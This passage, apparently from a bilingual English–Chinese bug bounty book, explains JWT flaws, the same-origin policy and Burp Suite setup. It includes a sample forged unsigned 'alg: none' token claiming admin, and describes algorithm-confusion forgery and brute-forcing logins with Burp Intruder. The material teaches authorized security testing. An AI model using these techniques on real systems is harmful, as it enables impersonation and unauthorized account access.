JWT支持算法类型中的无选项。如果alg字段设置为none，则即使签名部分为空的令牌也将被视为有效。例如，请考虑以下令牌：

eyAiYWxnIiA6ICJOb25lIiwgInR5cCIgOiAiSldUIiB9Cg.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg.

This token is simply the base64url-encoded versions of these two blobs, with no signature present:

这个令牌只是这两个 Blob 的 base64url 编码版本，没有签名。

{ "alg" : "none", "typ" : "JWT" } { "user" : "admin" }

This feature was originally used for debugging purposes, but if not turned off in a production environment, it would allow attackers to forge any token they want and impersonate anyone on the site.

该功能最初用于调试目的，但如果在生产环境中未关闭，则会允许攻击者伪造任何令牌并冒充站点上的任何人。

Another way attackers can exploit the alg field is by changing the type of algorithm used. The two most common types of signing algorithms used for JWTs are HMAC and RSA. HMAC requires the token to be signed with a key and then later verified with the same key. When using RSA, the token would first be created with a private key, then verified with the corresponding public key, which anyone can read. It is critical that the secret key for HMAC tokens and the private key for RSA tokens be kept a secret.

攻击者利用alg域的另一种方式是改变使用的算法类型。用于JWT的两种最常见的签名算法类型是HMAC和RSA。HMAC需要使用密钥对令牌进行签名，然后使用相同的密钥进行验证。在使用RSA时，令牌首先会使用私钥创建，然后使用对应的公钥进行验证，任何人都可以读取。重要的是，HMAC令牌的密钥和RSA令牌的私钥必须保密。

Now let’s say that an application was originally designed to use RSA tokens. The tokens are signed with a private key A, which is kept a secret from the public. Then the tokens are verified with public key B, which is available to anyone. This is okay as long as the tokens are always treated as RSA tokens. Now if the attacker changes the alg field to HMAC, they might be able to create valid tokens by signing the forged tokens with the RSA public key, B. When the signing algorithm is switched to HMAC, the token is still verified with the RSA public key B, but this time, the token can be signed with the same public key too.

现在我们假设一个应用程序原本是设计用于使用RSA令牌。令牌使用私钥A进行签名，该私钥被保密不公开。然后使用公钥B进行令牌验证，而该公钥可供任何人使用。只要始终将令牌视为RSA令牌，这是可以的。现在，如果攻击者更改alg字段为HMAC，则可能通过使用RSA公钥B对伪造令牌进行签名来创建有效令牌。当签名算法切换为HMAC时，令牌仍然使用RSA公钥B进行验证，但这次，令牌也可以使用相同的公钥进行签名。

Brute-Forcing the Key

It could also be possible to guess, or brute-force , the key used to sign a JWT. The attacker has a lot of information to start with: the algorithm used to sign the token, the payload that was signed, and the resulting signature. If the key used to sign the token is not complex enough, they might be able to brute-force it easily. If an attacker is not able to brute-force the key, they might try leaking the secret key instead. If another vulnerability, like a directory traversal, external entity attack (XXE), or SSRF exists that allows the attacker to read the file where the key value is stored, the attacker can steal the key and sign arbitrary tokens of their choosing. We’ll talk about these vulnerabilities in later chapters.

攻击者有可能通过猜测或暴力攻击密钥来签名 JWT。攻击者有很多信息可供参考：签名令牌使用的算法、已签名的有效负载以及签名结果。如果用于签名令牌的密钥不够复杂，他们可能很容易地进行暴力攻击。 如果攻击者无法暴力攻击密钥，他们可能会尝试泄露秘密密钥。 如果存在其他漏洞，例如目录遍历、外部实体攻击（XXE）或SSRF，允许攻击者读取密钥值存储的文件，则攻击者可以窃取密钥并签名其选择的任意令牌。我们将在后面的章节中讨论这些漏洞。

Reading Sensitive Information

Since JSON web tokens are used for access control, they often contain information about the user. If the token is not encrypted, anyone can base64-decode the token and read the token’s payload. If the token contains sensitive information, it might become a source of information leaks. A properly implemented signature section of the JSON web token provides data integrity, not confidentiality.

由于JSON Web令牌用于访问控制，因此它们通常包含有关用户的信息。如果令牌未加密，则任何人都可以对其进行base64解码并读取其有效载荷。如果令牌包含敏感信息，则它可能成为信息泄漏的来源。JSON Web令牌的正确实施的签名部分提供了数据完整性，而不是保密性。

These are just a few examples of JWT security issues. For more examples of JWT vulnerabilities, use the search term JWT security issues . The security of any authentication mechanism depends not only on its design, but also its implementation. JWTs can be secure, but only if implemented properly.

这些只是JWT安全问题的一些例子。如果想了解更多JWT漏洞的例子，请使用搜索词JWT安全问题。任何身份验证机制的安全性不仅取决于其设计，还取决于其实施。JWT可以很安全，但前提是必须正确实施。

The Same-Origin Policy

The same-origin policy ( SOP) is a rule that restricts how a script from one origin can interact with the resources of a different origin. In one sentence, the SOP is this: a script from page A can access data from page B only if the pages are of the same origin. This rule protects modern web applications and prevents many common web vulnerabilities.

同源策略是一条规则，限制来自一个源的脚本与不同源的资源进行交互。简单来说，同源策略就是这样的：只有当页面A和B的源相同时，页面A的脚本才能访问页面B的数据。该规则保护现代Web应用程序，防止许多常见的Web漏洞。

Two URLs are said to have the same origin if they share the same protocol, hostname, and port number. Let’s look at some examples. Page A is at this URL:

如果两个URL共享相同的协议，主机名和端口号，则称它们具有相同的来源。让我们看一些示例。页面A在此URL上：

https://medium.com/@vickieli

It uses HTTPS, which, remember, uses port 443 by default. Now look at the following pages to determine which has the same origin as page A, according to the SOP:

它使用 HTTPS，需要记住，默认使用 443 端口。现在查看以下页面，确定哪个页面与页面 A 拥有相同的来源，遵守 SOP。

https://medium.com/

http://medium.com/

https://twitter.com/@vickieli7

https://medium.com:8080/@vickieli

The https://medium.com/ URL is of the same origin as page A, because the two pages share the same origin, protocol, hostname, and port number. The other three pages do not share the same origin as page A. http://medium.com/ is of a different origin from page A, because their protocols differ. https://medium.com/ uses HTTPS, whereas http://medium.com/ uses HTTP. https://twitter.com/@vickieli7 is of a different origin as well, because it has a different hostname. Finally, https://medium.com:8080/@vickieli is of a different origin because it uses port 8080, instead of port 443.

`https://medium.com/` 和 `page A` 具有相同的源，因为它们共享相同的源、协议、主机名和端口号。其他三个页面与 `page A` 不共享相同的源。`http://medium.com/` 与 `page A` 来源不同，因为它们的协议不同。`https://medium.com/` 使用 HTTPS，而 `http://medium.com/` 使用 HTTP。`https://twitter.com/@vickieli7` 来源也不同，因为它有不同的主机名。最后，`https://medium.com:8080/@vickieli` 来源不同，因为它使用了 8080 端口，而不是 443 端口。

Now let’s consider an example to see how SOP protects us. Imagine that you’re logged in to your banking site at onlinebank.com . Unfortunately, you click on a malicious site, attacker.com , in the same browser.

现在让我们考虑一个例子，看看SOP如何保护我们。想象你正在onlinebank.com网站登录你的银行账户。不幸的是，你在同一个浏览器中点击了一个恶意网站attacker.com。

The malicious site issues a GET request to onlinebank.com to retrieve your personal information. Since you’re logged into the bank, your browser automatically includes your cookies in every request you send to onlinebank.com , even if the request is generated by a script on a malicious site. Since the request contains a valid session ID, the server of onlinebank.com fulfills the request by sending the HTML page containing your info. The malicious script then reads and retrieves the private email addresses, home addresses, and banking information contained on the page.

恶意网站向onlinebank.com发出GET请求，以检索您的个人信息。由于您已登录银行，在您发送到onlinebank.com的每个请求中，您的浏览器会自动包含您的Cookie，即使该请求是由恶意网站上的脚本生成的。由于请求包含有效的会话ID，onlinebank.com的服务器通过发送包含您信息的HTML页面来满足请求。恶意脚本然后读取和检索该页面上包含的私人电子邮件地址、家庭地址和银行信息。

Luckily, the SOP will prevent the malicious script hosted on attacker.com from reading the HTML data returned from onlinebank.com . This keeps the malicious script on page A from obtaining sensitive information embedded within page B.

幸运的是，SOP可以防止攻击者.com上托管的恶意脚本能阅读来自onlinebank.com的HTML数据，这可以保护页面A上的恶意脚本无法获得嵌入在页面B中的敏感信息。

Learn to Program

You should now have a solid background to help you understand most of the vulnerabilities we will cover. Before you set up your hacking tools, I recommend that you learn to program. Programming skills are helpful, because hunting for bugs involves many repetitive tasks, and by learning a programming language such as Python or shell scripting, you can automate these tasks to save yourself a lot of time.

现在，您应该具备扎实的背景知识，能帮助您理解我们将要涵盖的大部分漏洞。在您设置黑客工具之前，我建议您先学习编程。编程技能非常有帮助，因为寻找漏洞涉及到许多重复性的任务，通过学习 Python 或 shell 脚本等编程语言，您可以自动化这些任务，节省大量时间。

You should also learn to read JavaScript, the language with which most sites are written. Reading the JavaScript of a site can teach you about how it works, giving you a fast track to finding bugs. Many top hackers say that their secret sauce is that they read JavaScript and search for hidden endpoints, insecure programming logic, and secret keys. I’ve also found many vulnerabilities by reading JavaScript source code.

你也应当学习阅读 JavaScript，因为大多数网站都是用它编写的。阅读一个网站的 JavaScript 可以让你了解它的工作方式，从而帮助你更快地发现漏洞。许多顶尖的黑客表示，他们的秘密武器就是阅读 JavaScript 并搜索隐藏的端点、不安全的编程逻辑和秘密密钥。我也通过阅读 JavaScript 源代码发现了许多漏洞。

Codecademy is a good resource for learning how to program. If you prefer to read a book instead, Learn Python the Hard Way by Zed Shaw (Addison-Wesley Professional, 2013) is a great way to learn Python. And reading Eloquent JavaScript , Third Edition, by Marijn Haverbeke (No Starch Press, 2019) is one of the best ways to master JavaScript.

Codecademy是学习编程的好资源。如果你更喜欢阅读书籍，Zed Shaw的《笨办法学Python》(Addison-Wesley Professional，2013)是学习Python的绝佳方式。而阅读Marijn Haverbeke的《JavaScript精解》第三版(No Starch Press，2019)是掌握JavaScript的最佳方式之一。

4
Environmental Setup and Traffic Interception

You’ll save yourself a lot of time and headache if you hunt for bugs within a well-oiled lab. In this chapter, I’ll guide you, step-by-step, through setting up your hacking environment. You’ll configure your browser to work with Burp Suite, a web proxy that lets you view and alter HTTP requests and responses sent between your browser and web servers. You’ll learn to use Burp’s features to intercept web traffic, send automated and repeated requests, decode encoded content, and compare requests. I will also talk about how to take good bug bounty notes.

如果你在一个井然有序的实验室里寻找漏洞，你将会节省很多时间和烦恼。在这一章节中，我将一步一步地为你设置黑客环境。你将会配置你的浏览器与Burp Suite一同工作，Burp Suite是一个网络代理，让你可以查看和更改你的浏览器和网页服务器之间发送的HTTP请求和响应。你将会学习使用Burp的功能来截获网络流量，发送自动化和重复请求，解码编码内容和比较请求。我也会讲解如何记录好的漏洞赏金笔记。

This chapter focuses on setting up an environment for web hacking only. If your goal is to attack mobile apps, you’ll need additional setup and tools. We’ll cover these in Chapter 23 , which discusses mobile hacking.

本章重点介绍建立网络黑客环境的步骤。如果你的目标是攻击移动应用程序，你需要额外的设置和工具。我们将在第23章介绍移动黑客，讨论这些内容。

Choosing an Operating System

Before we go on, the first thing you need to do is to choose an operating system. Your operating system will limit the hacking tools available to you. I recommend using a Unix-based system, like Kali Linux or macOS, because many open source hacking tools are written for these systems. Kali Linux is a Linux distribution designed for digital forensics and hacking. It includes many useful bug bounty tools, such as Burp Suite, recon tools like DirBuster and Gobuster, and fuzzers like Wfuzz. You can download Kali Linux from https://www.kali.org/downloads/ .

在我们继续之前，首先要做的就是选择一个操作系统。你的操作系统将限制可用的黑客工具。我建议使用基于Unix的系统，如Kali Linux或macOS，因为许多开源黑客工具都是为这些系统编写的。Kali Linux是一种专为数字取证和黑客设计的Linux发行版。它包括许多有用的漏洞赏金工具，例如Burp Suite、类似DirBuster和Gobuster的recon工具以及类似Wfuzz的模糊器。可以从https://www.kali.org/downloads/下载Kali Linux。

If these options are not available to you, feel free to use other operating systems for hacking. Just keep in mind that you might have to learn to use different tools than the ones mentioned in this book.

如果这些选项对您不可用，可以自由地使用其他操作系统进行黑客攻击。只需记住，您可能需要学习使用不同于本书中提到的工具。

Setting Up the Essentials: A Browser and a Proxy

Next, you need a web browser and a web proxy. You’ll use the browser to examine the features of a target application. I recommend using Firefox, since it’s the simplest to set up with a proxy. You can also use two different browsers when hacking: one for browsing the target, and one for researching vulnerabilities on the internet. This way, you can easily isolate the traffic of your target application for further examination.

接下来，您需要一个网络浏览器和一个网络代理。使用浏览器来检查目标应用程序的功能。建议使用Firefox，因为它是最容易与代理配对的。黑客时，也可以使用两个不同的浏览器：一个用于浏览目标，一个用于在网上研究漏洞。这样，您可以轻松地隔离目标应用程序的流量以进一步检查。

A proxy is software that sits between a client and a server; in this case, it sits between your browser and the web servers you interact with. It intercepts your requests before passing them to the server, and intercepts the server’s responses before passing them to you, like this:

代理是一种软件，它位于客户端和服务器之间；在这种情况下，它位于您的浏览器和您交互的web服务器之间。它在将您的请求传递给服务器之前截获它们，并在将服务器的响应传递给您之前截获它们，就像这样：

Browser <--------------> Proxy <--------------> Server

Using a proxy is essential in bug bounty hunting. Proxies enable you to view and modify the requests going out to the server and the responses coming into your browser, as I’ll explain later in this chapter. Without a proxy, the browser and the server would exchange messages automatically, without your knowledge, and the only thing you would see is the final resulting web page. A proxy will instead capture all messages before they travel to their intended recipient.

在漏洞赏金猎人的活动中，使用代理是必不可少的。如本章节所述，代理能够让你查看和修改发往服务器和从服务器返回到浏览器的请求和响应。如果没有代理，浏览器和服务器将自动交换信息，你将一无所知，只能看到最终显示的网页。代理将拦截所有信息，而不是让它们直接发送到其预定的接收者那里。

Proxies therefore allow you to perform recon by examining and analyzing the traffic going to and from the server. They also let you examine interesting requests to look for potential vulnerabilities and exploit these vulnerabilities by tampering with requests.

代理服务器因此允许您通过检查和分析发送到服务器和从服务器返回的流量来执行侦察。他们还允许您检查有趣的请求，以寻找潜在的漏洞，并通过篡改请求来利用这些漏洞。

For example, let’s say that you visit your email inbox and intercept the request that will return your email with a proxy. It’s a GET request to a URL that contains your user ID. You also notice that a cookie with your user ID is included in the request:

例如，假设您访问电子邮件收件箱并使用代理拦截将返回您的电子邮件的请求。这是一个GET请求，包含您的用户ID的URL。您还注意到请求中包含具有您的用户ID的cookie。

GET /emails/USER_ID HTTP/1.1
Host: example.com
Cookie: user_id=USER_ID

In this case, you can try to change the USER_ID in the URL and the Cookie header to another user’s ID and see if you can access another user’s email.

在这种情况下，您可以尝试在URL和Cookie头中更改USER_ID以使用另一个用户的ID，以查看您是否可以访问另一个用户的电子邮件。

Two proxies are particularly popular with bug bounty hunters: Burp Suite and the Zed Attack Proxy (ZAP). This section will show you how to set up Burp, but you’re free to use ZAP instead.

两个代理服务器特别受到漏洞赏金猎人的欢迎：Burp Suite和Zed Attack Proxy（ZAP）。本节将向您展示如何设置Burp，但您也可以自由选择使用ZAP。

Opening the Embedded Browser

Both Burp Suite and ZAP come with embedded browsers. If you choose to use these embedded browsers for testing, you can skip the next two steps. To use Burp Suite’s embedded browser, click Open browser in Burp’s Proxy tab after it’s launched ( Figure 4-1 ). This embedded browser’s traffic will be automatically routed through Burp without any additional setup.

Both Burp Suite and ZAP are equipped with embedded browsers. If you choose to use these embedded browsers for testing, you can skip the next two steps. To use Burp Suite’s embedded browser, click “在Burp的代理选项卡中打开浏览器”(图4-1)。这个内置浏览器的流量将自动通过Burp进行路由，无需进行任何其他设置。

Figure 4-1 : You can use Burp’s embedded browser instead of your own external browser for testing.

图4-1：您可以使用Burp的内置浏览器而不是您自己的外部浏览器进行测试。

Setting Up Firefox

Burp’s embedded browser offers a convenient way to start bug hunting with minimal setup. However, if you are like me and prefer to test with a browser you are used to, you can set up Burp to work with your browser. Let’s set up Burp to work with Firefox.

Burp嵌入式浏览器提供了一种方便的方法来开始进行最小化设置的漏洞狩猎。然而，如果你像我一样偏爱使用你已经习惯的浏览器进行测试，那么你可以设定Burp与你的浏览器一起工作。让我们来设定Burp可以和Firefox一起工作。

Start by downloading and installing your browser and proxy. You can download the Firefox browser from https://www.mozilla.org/firefox/new/ and Burp Suite from https://portswigger.net/burp/ .

从以下网址下载并安装你的浏览器和代理。你可以从 https://www.mozilla.org/firefox/new/ 下载Firefox 浏览器，并从 https://portswigger.net/burp/ 下载Burp Suite。

Bug bounty hunters use one of two versions of Burp Suite: Professional or Community. You have to purchase a license to use Burp Suite Professional, while the Community version is free of charge. Burp Suite Pro includes a vulnerability scanner and other convenient features like the option to save a work session to resume later. It also offers a full version of the Burp intruder, while the Community version includes only a limited version. In this book, I cover how to use the Community version to hunt for bugs.

漏洞赏金猎人使用Burp Suite的两个版本之一：专业版或社区版。使用Burp Suite专业版需要购买许可证，而社区版免费。Burp Suite Pro包括漏洞扫描仪和其他方便的功能，例如保存工作会话以便稍后继续。它还提供了一个完整版的Burp intruder，而社区版仅包含有限的版本。在这本书中，我介绍了如何使用社区版来寻找漏洞。

Now you have to configure your browser to route traffic through your proxy. This section teaches you how to configure Firefox to work with Burp Suite. If you’re using another browser-proxy combination, please look up their official documentation for tutorials instead.

现在您需要配置您的浏览器以通过代理路由流量。本部分将教您如何将Firefox配置为与Burp Suite一起使用。如果您使用其他浏览器-代理组合，请查阅其官方文档以获取教程。

Launch Firefox. Then open the Connections Settings page by choosing Preferences ▶ General ▶ Network Settings . You can access the Preferences tab from the menu at Firefox’s top-right corner ( Figure 4-2 ).

启动Firefox。然后通过选择Preferences▶General▶Network Settings打开连接设置页面。您可以从Firefox右上角的菜单访问Preferences选项卡（见图4-2）。

Figure 4-2 : You can find the Preferences option at the top-right corner of Firefox.

图4-2：您可以在Firefox的右上角找到“偏好设置”选项。

The Connection Settings page should look like the one in Figure 4-3 .

连接设置页面应该像图4-3所示。

Select Manual proxy configuration and enter the IP address 127.0.0.1 and port 8080 for all the protocol types. This will tell Firefox to use the service running on port 8080 on your machine as a proxy for all of its traffic. 127.0.0.1 is the localhost IP address. It identifies your current computer, so you can use it to access the network services running on your machine. Since Burp runs on port 8080 by default, this setting tells Firefox to route all traffic through Burp. Click OK to finalize the setting. Now Firefox will route all traffic through Burp.

选择手动代理配置，并输入 IP 地址 127.0.0.1 和端口号 8080，适用于所有协议类型。这将告诉 Firefox 使用运行在您机器上 8080 端口的服务作为其所有流量的代理。127.0.0.1 是本地主机IP地址，它识别您当前的计算机，因此您可以使用它来访问在您机器上运行的网络服务。由于 Burp 默认运行在 8080 端口上，这个设置告诉 Firefox 将所有流量通过 Burp 路由。点击 OK 完成设置。现在 Firefox 将通过 Burp 路由所有流量。

Figure 4-3 : Configure Firefox’s proxy settings on the Connection Settings page.

图4-3：在连接设置页面上配置Firefox的代理设置。

Setting Up Burp

After downloading Burp Suite, open it and click Next , then Start Burp . You should see a window like Figure 4-4 .

下载Burp Suite后，打开它并点击下一步，然后启动Burp。您应该看到一个类似于图4-4的窗口。

Figure 4-4 : Burp Suite Community Edition startup window

图4-4：Burp Suite社区版启动窗口

Now let’s configure Burp so it can work with HTTPS traffic. HTTPS protects your data’s privacy by encrypting your traffic, making sure only the two parties in a communication (your browser and the server) can decrypt it. This also means your Burp proxy won’t be able to intercept HTTPS traffic going to and from your browser. To work around this issue, you need to show Firefox that your Burp proxy is a trusted party by installing its certificate authority (CA) certificate.

现在让我们配置Burp，以便它可以处理HTTPS流量。 HTTPS通过加密流量来保护您的数据隐私，确保只有通信中的双方（您的浏览器和服务器）才能解密它。这也意味着您的Burp代理将无法拦截您的浏览器发送和接收的HTTPS流量。为了解决这个问题，您需要向Firefox展示您的Burp代理是可信方，方法是安装其证书颁发机构（CA）证书。

Let’s install Burp’s certificate on Firefox so you can work with HTTPS traffic. With Burp open and running, and your proxy settings set to 127.0.0.1:8080, go to http://burp/ in your browser. You should see a Burp welcome page ( Figure 4-5 ). Click CA Certificate at the top right to download the certificate file; then click Save File to save it in a safe location.

让我们在Firefox上安装Burp的证书，这样您就可以处理HTTPS流量。在Burp打开和运行，并将代理设置为127.0.0.1：8080的情况下，转到浏览器中的http://burp/。您应该看到Burp欢迎页面（图4-5）。单击右上角的CA证书以下载证书文件；然后单击“另存为”以将其保存在安全位置。

Figure 4-5 : Go to http://burp/ to download Burp’s CA certificate.

图4-5：访问http://burp/下载Burp的CA证书。

Next, in Firefox, click Preferences ▶ Privacy & Security ▶ Certificates ▶ View Certificates ▶ Authorities . Click Import and select the file you just saved, and then click Open . Follow the dialog’s instructions to trust the certificate to identify websites ( Figure 4-6 ).

接下来，在Firefox中，点击Preferences▶Privacy & Security▶Certificates▶View Certificates▶Authorities。点击导入并选择刚刚保存的文件，然后点击打开。按照对话框的指示信任证书以识别网站（图4-6）。

Figure 4-6 : Select the Trust this CA to identify websites option in Firefox’s dialog.

图4-6：在Firefox的对话框中选择信任此CA以识别网站选项。

Restart Firefox. Now you should be all set to intercept both HTTP and HTTPS traffic.

重新启动Firefox。现在您已准备好拦截HTTP和HTTPS流量。

Let’s perform a test to make sure that Burp is working properly. Switch to the Proxy tab in Burp and turn on traffic interception by clicking Intercept is off . The button should now read Intercept is on ( Figure 4-7 ). This means you’re now intercepting traffic from Firefox or the embedded browser.

让我们执行一个测试，以确保Burp正常工作。在Burp中切换到代理选项卡，并通过单击“拦截关闭”开启流量拦截。按钮现在应该显示“拦截已开启”（图4-7）。这意味着您现在正在拦截来自Firefox或嵌入式浏览器的流量。

Figure 4-7 : Intercept is on means that you’re now intercepting traffic.

图4-7：截取开启表示您现在正在截取流量。

Then open Firefox and visit https://www.google.com/ . In Burp’s proxy, you should see the main window starting to populate with individual requests. The Forward button in Burp Proxy will send the current request to the designated server. Click Forward until you see the request with the hostname www.google.com . If you see this request, Burp is correctly intercepting Firefox’s traffic. It should begin like this:

然后打开Firefox并访问https://www.google.com/。在Burp的代理中，您应该看到主窗口开始填充个别请求。 Burp Proxy的向前按钮将将当前请求发送到指定的服务器。 点击向前，直到看到主机名www.google.com的请求。 如果您看到此请求，则Burp正确拦截了Firefox的流量。 它应该像这样开始：

GET / HTTP/1.1
Host: www.google.com

Click Forward to send the request over to Google’s server. You should see Google’s home page appear in your Firefox window.

点击“前进”将请求发送到谷歌的服务器。你应该能够在Firefox窗口中看到谷歌的主页出现。

If you aren’t seeing requests in Burp’s window, you might not have installed Burp’s CA certificate properly. Follow the steps in this chapter to reinstall the certificate. In addition, check that you’ve set the correct proxy settings to 127.0.0.1:8080 in Firefox’s Connection Settings.

如果你在Burp的窗口中没有看到请求内容，可能是没有正确安装Burp的CA证书。请按照本章的步骤重新安装证书。另外，检查一下Firefox的连接设置中是否设置了正确的代理设置：127.0.0.1:8080。

Using Burp

Burp Suite has a variety of useful features besides the web proxy. Burp Suite also includes an intruder for automating attacks, a repeater for manipulating individual requests, a decoder for decoding encoded content, and a comparer tool for comparing requests and responses. Of all Burp’s features, these are the most useful for bug bounty hunting, so we’ll explore them here.

除了网络代理之外，Burp Suite 还有各种有用的功能。Burp Suite 还包括可以自动攻击的 Intruder 工具、可以操作单个请求的 Repeater 工具、可以解码编码内容的解码器以及比较请求和响应的比较器工具。在 Burp 的所有功能中，这些对于漏洞赏金猎人来说最为有用，因此我们将在这里进行探讨。

The Proxy

Let’s see how you can use the Burp proxy to examine requests, modify them, and forward them to Burp’s other modules. Open Burp and switch to the Proxy tab, and start exploring what it does! To begin intercepting traffic, make sure the Intercept button reads Intercept is on ( Figure 4-8 ).

让我们看看如何使用Burp代理来检查请求、修改它们并将它们转发到Burp的其他模块。打开Burp并切换到代理选项卡，开始探索它的功能！要开始拦截流量，请确保拦截按钮显示“拦截已开启”(图4-8)。

Figure 4-8 : The Burp Proxy tab shows Intercept is on.

图4-8：Burp代理标签显示截取已开启。

When you browse to a site on Firefox or Burp’s embedded browser, you should see an HTTP/HTTPS request appear in the main window. When intercept is turned on, every request your browser sends will go through Burp, which won’t send them to the server unless you click Forward in the proxy window. You can use this opportunity to modify the request before sending it to the server or to forward it over to other modules in Burp. You can also use the search bar at the bottom of the window to search for strings in the requests or responses.

当您在Firefox或Burp的嵌入式浏览器中浏览到网站时，您应该会在主窗口中看到一个HTTP/HTTPS请求出现。当截获被打开时，浏览器发送的每个请求都将通过Burp，而Burp不会将它们发送到服务器，除非您在代理窗口中单击“转发”。您可以利用这个机会在发送请求到服务器之前修改请求或将其转发到Burp中的其他模块。您也可以使用窗口底部的搜索栏搜索请求或响应字符串。

To forward the request to another Burp module, right-click the request and select Send to Module ( Figure 4-9 ).

右键单击请求，选择发送到模块（图4-9），可将请求转发到另一个Burp模块。

Let’s practice intercepting and modifying traffic by using Burp Proxy! Go to Burp Proxy and turn on traffic interception. Then open Firefox or Burp’s embedded browser and visit https://www.google.com/ . As you did in the preceding section, click Forward until you see the request with the hostname www.google.com . You should see a request like this one:

让我们通过使用Burp代理来练习拦截和修改流量！转到Burp代理并打开流量拦截。然后打开Firefox或Burp的嵌入式浏览器并访问https://www.google.com/。如同在前面的章节中所做的那样，点击"转发"直到你看到主机名为www.google.com的请求。你应该会看到像这样的一个请求：

GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: close

Figure 4-9 : You can forward the request or response to different Burp modules by right-clicking it.

图4-9：右键单击请求或响应，可以将其转发到不同的Burp模块中。

Let’s modify this request before sending it. Change the Accept-Language header value to de .

让我们在发送之前修改这个请求。将“Accept-Language”头的值更改为“de”。

GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0
Accept-Language: de
Accept-Encoding: gzip, deflate
Connection: close

Click Forward to send the request over to Google’s server. You should see Google’s home page in German appear in your browser’s window ( Figure 4-10 ).

点击“转发”将请求发送到Google的服务器。您应该在浏览器窗口中看到以德语为主的Google主页（图4-10）。

Figure 4-10 : Google’s home page in German

图4-10：Google在德国的主页

If you’re a German speaker, you could do the test in reverse: switch the Accept-Language header value from de to en . You should see the Google home page in English. Congratulations! You’ve now successfully intercepted, modified, and forwarded an HTTP request via a proxy.

如果您是德语说话者，可以反向进行测试：将Accept-Language标头值从de切换到en。您应该会看到英文版的Google首页。恭喜！ 您现在已成功拦截、修改和转发代理请求。

The Intruder

The Burp intruder tool automates request sending. If you are using the Community version of Burp, your intruder will be a limited, trial version. Still, it allows you to perform attacks like brute-forcing , whereby an attacker submits many requests to a server using a list of predetermined values and sees if the server responds differently. For example, a hacker who obtains a list of commonly used passwords can try to break into your account by repeatedly submitting login requests with all the common passwords. You can send requests over to the intruder by right-clicking a request in the proxy window and selecting Send to intruder .

Burp intruder工具可以自动发送请求。如果您使用的是Burp的社区版本，那么您的intruder将是一个有限制的试用版本。但是，它可以让您执行像暴力破解这样的攻击，攻击者使用预先确定的值列表向服务器提交许多请求，看看服务器是否会有不同的响应。例如，一个黑客如果获得了一个常用密码的列表，可以通过反复提交所有常用密码的登录请求来尝试入侵您的帐户。您可以通过在代理窗口中右键单击请求并选择发送到intruder来将请求发送到intruder。

The Target screen in the intruder tab lets you specify the host and port to attack ( Figure 4-11 ). If you forward a request from the proxy, the host and port will be prefilled for you.

“Intruder”选项卡中的“目标屏幕”可让您指定攻击的主机和端口（图4-11）。如果您从代理服务器转发请求，主机和端口将自动填充。

Figure 4-11 : You can specify the host and port to attack on the Target screen.

图4-11：您可以在目标屏幕上指定要攻击的主机和端口。

The intruder gives several ways to customize your attack. For each request, you can choose the payloads and payloads positions to use. The payloads are the data that you want to insert into specific positions in the request. The payload positions specify which parts of the request will be replaced by the payloads you choose. For example, let’s say users log in to example.com by sending a POST request to example.com/login . In Burp, this request might look like this:

入侵者提供了多种方式来定制你的攻击。对于每个请求，你可以选择使用的负载和负载位置。负载是你想要插入到请求特定位置的数据。负载位置指定请求的哪些部分将被你选择的负载替换。例如，让我们假设用户通过发送 POST 请求到 example.com/login 来登录 example.com。在 Burp 中，这个请求可能看起来像这样：

POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: close

username=vickie&password=abc123

The POST request body contains two parameters: username and password . If you were trying to brute-force a user’s account, you could switch up the password field of the request and keep everything else the same. To do that, specify the payload positions in the Positions screen ( Figure 4-12 ). To add a portion of the request to the payload positions, highlight the text and click Add on the right.

POST请求正文包含两个参数：用户名和密码。如果您试图暴力破解用户的帐户，可以更改请求的密码字段并保持其他内容不变。要做到这一点，请在“位置”屏幕（图4-12）中指定有效载荷位置。要将请求的一部分添加到有效载荷位置，请突出显示文本，然后单击右侧的“添加”。

Figure 4-12 : You can specify the payload positions in the Positions screen.

图4-12：您可以在位置屏幕中指定有效载荷的位置。

Then, switch over to the Payloads screen ( Figure 4-13 ). Here, you can choose payloads to insert into the request. To brute-force a login password, you can add a list of commonly used passwords here. You can also, for example, use a list of numbers with which to brute-force IDs in requests, or use an attack payload list you downloaded from the internet. Reusing attack payloads shared by others can help you find bugs faster. We will talk more about how to use reused payloads to hunt for vulnerabilities in Chapter 25 .

然后，切换到有效负载屏幕（图4-13）。在此处，您可以选择要插入请求中的有效负载。要爆破登录密码，可以在此处添加常用密码列表。您还可以使用数字列表来爆破请求中的ID，或使用从Internet下载的攻击有效负载列表。重新使用别人分享的攻击有效负载可以帮助您更快地找到漏洞。我们将在第25章中更多地讨论如何使用重复使用的有效负载来寻找漏洞。

Figure 4-13 : Choose your payload list on the Payloads screen.

图4-13：在载荷屏幕上选择您的载荷列表。

Once you’ve specified those, click the Start attack button to start the automated test. The intruder will send a request for each payload you listed and record all responses. You can then review the responses and response codes and look for interesting results.

一旦您指定了这些内容，点击“开始攻击”按钮以启动自动化测试。入侵者将为您列出的每个有效负载发送请求并记录所有响应。然后，您可以查看响应和响应代码，并寻找有趣的结果。

The Repeater

The repeater is probably the tool you’ll use the most often ( Figure 4-14 ). You can use it to modify requests and examine server responses in detail. You could also use it to bookmark interesting requests to go back to later.

中继器可能是您最常使用的工具（图4-14）。您可以使用它修改请求并仔细检查服务器响应。您还可以将有趣的请求添加到书签中以便以后回到。

Although the repeater and intruder both allow you to manipulate requests, the two tools serve very different purposes. The intruder automates attacks by automatically sending programmatically modified requests. The repeater is meant for manual, detailed modifications of a single request.

尽管中继器和入侵者都允许您操作请求，但这两种工具的用途非常不同。入侵者通过自动发送程序化修改的请求自动化攻击。中继器是用于手动、详细修改单个请求的工具。

Send requests to the repeater by right-clicking the request and selecting Send to repeater .

通过右键点击请求并选择“发送到中继器”来发送请求。

On the left of the repeater screen are requests. You can modify a request here and send the modified request to the server by clicking Send at the top. The corresponding response from the server will appear on the right.

中继器屏幕左侧是请求。您可以在此修改请求，并在顶部单击“发送”将修改后的请求发送到服务器。相应的服务器响应将出现在右侧。

The repeater is good for exploiting bugs manually, trying to bypass filters, and testing out different attack methods that target the same endpoint.

中继器对于手动利用漏洞、尝试绕过过滤器、测试针对同一端点的不同攻击方法非常有用。

Figure 4-14 : The repeater is good for close examination of requests and manual exploitation.

图4-14：中继器适用于对请求的近距离审查和手动利用。

The Decoder

